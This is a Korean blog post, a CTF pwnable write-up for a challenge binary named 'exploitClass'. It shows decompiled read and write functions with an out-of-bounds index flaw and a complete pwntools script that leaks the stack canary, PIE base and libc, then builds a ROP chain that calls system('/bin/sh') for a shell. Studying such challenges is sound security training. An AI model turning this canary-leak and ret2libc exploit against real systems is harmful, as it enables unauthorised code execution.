티스토리 뷰
프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | unsigned __int64 __fastcall readData(__int64 a1) { __int64 idx; // rax int v3; // [rsp+4h] [rbp-14h] unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); puts("Which entry to show?"); v3 = 0; __isoc99_scanf("%u", &v3); idx = (12 * v3); if ( idx <= 252 ) puts((a1 + idx)); return __readfsqword(0x28u) ^ v4; } | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | unsigned __int64 __fastcall writeData(__int64 a1) { unsigned int v2; // [rsp+4h] [rbp-14h] unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); puts("Which entry to write?"); v2 = 0; __isoc99_scanf("%u", &v2); if ( v2 <= 252 ) { puts("What to write?"); read(0, (a1 + 12 * v2), 12uLL); } return __readfsqword(0x28u) ^ v3; } | cs |
각각 readData와 writeData 입니다. 인자를 읽거나 해당 인덱스에 값을 쓸 수 있습니다. 두 함수의 변수는 v3인데 v3에 쓰기와 읽기가 가능합니다.v3는 rbp - 0x128 에 위치하므로 rip를 overwrite 할 수 있고, 카나리가 걸려있으니 카나리 릭도 가능합니다.
(실제로 writeData에 26번째 인덱스를 선택하고 A를 엄청 때려박으면 rip가 AAA~ 로 덮입니다.)
익스는 생각보다 쉬울것 같았는데 모든 보호기법이 다 걸려있어서 조금 힘들었습니다. 특히 PIE가 걸려있어 binary base를 릭하고
구한 base에다 offset을 더해서 libc 릭하고 rtl 하는 방식이었는데 binary base 릭하는 부분에서 스택에 있는 코드영역을 찾는게 어려웠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | from pwn import * p = process('./exploitClass') #context.log_level='debug' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') e = ELF('./exploitClass') def write(idx,data): p.sendline("2") p.recvuntil("write?\n") p.sendline(str(idx)) p.recvuntil("write?\n") p.send(data) p.recvuntil("exit!\n") def read(idx): p.sendline("1") p.recvuntil("show?\n") p.sendline(str(idx)) data=p.recvline() p.recvuntil("exit!\n") return data write(21,"A"*12) write(22,"A") canary = u64("\x00"+read(21)[13:20]) log.info("canary :"+hex(canary)) write(22,"A"*12) write(23,"A"*4) binary_base = u64(read(21)[28:34]+"\x00"*2) - e.symbols['__libc_csu_init'] log.info("binary_base : "+ hex(binary_base)) pop_rdi_ret = p64(binary_base + 0x14a3) puts_got = binary_base + e.got['puts'] puts_plt = binary_base + e.plt['puts'] main = p64(binary_base + e.symbols['main']) write(22,p64(canary)) write(24,"A"*8+pop_rdi_ret[0:4]) write(25,pop_rdi_ret[4:]+p64(puts_got)) write(26,p64(puts_plt)+main[0:4]) write(27,main[4:]) p.sendline("10") puts = u64(p.recvuntil("exit!\n")[17:23]+"\x00"*2) libc_base = puts - libc.symbols['puts'] cmd = libc_base + next(libc.search('/bin/sh\x00')) system = libc_base + libc.symbols['system'] log.info("puts : "+hex(puts)) log.info("libc_base : "+hex(libc_base)) log.info("system : "+hex(system)) log.info("/bin/sh : "+hex(cmd)) write(22,p64(canary)) write(24,"A"*8+pop_rdi_ret[0:4]) write(25,pop_rdi_ret[4:]+p64(cmd)) write(26,p64(system)) p.sendline("10") p.interactive() | cs |
'Pwnable > write up' 카테고리의 다른 글
[고등해커] Basic Assembly (0) | 2018.12.02 |
---|---|
CSAW 2013 miteegashun(400) (0) | 2018.11.19 |
P.W.N ctf write up (0) | 2018.11.04 |
[PlaidCTF 2014] kappa (0) | 2018.09.26 |
[DEFCON 2015] r0pbaby (0) | 2018.09.16 |
댓글